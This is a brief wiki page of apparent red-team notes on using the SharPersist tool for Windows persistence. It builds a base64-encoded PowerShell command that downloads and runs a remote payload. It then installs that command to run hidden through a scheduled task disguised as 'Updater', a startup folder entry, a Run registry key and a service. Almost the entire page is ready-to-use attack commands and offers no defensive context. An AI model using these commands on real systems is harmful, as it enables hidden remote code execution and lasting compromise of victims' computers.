SharpPersist - CraigDonkin/Infrastructure GitHub Wiki
https://github.com/mandiant/SharPersist
- Create base-64 encoded payload to use for persistence
$str = 'IEX ((new-object net.webclient).downloadstring("<Payload on host>"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64 payload> " -n "Updater" -m add -o hourly
SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <payload>" -f "UserEnvSetup" -m add
SharPersist.exe -t reg -c "C:\ProgramData\<payload>.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add
SharPersist.exe -t service -c "<path to payload>" -n <service name> -m add